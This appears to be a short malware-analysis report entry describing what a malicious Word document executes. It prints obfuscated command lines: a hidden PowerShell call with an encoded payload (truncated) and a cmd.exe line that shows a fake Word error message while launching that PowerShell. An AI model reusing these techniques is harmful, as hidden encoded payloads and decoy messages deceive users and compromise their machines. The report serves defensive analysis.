Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcA...
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAW...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
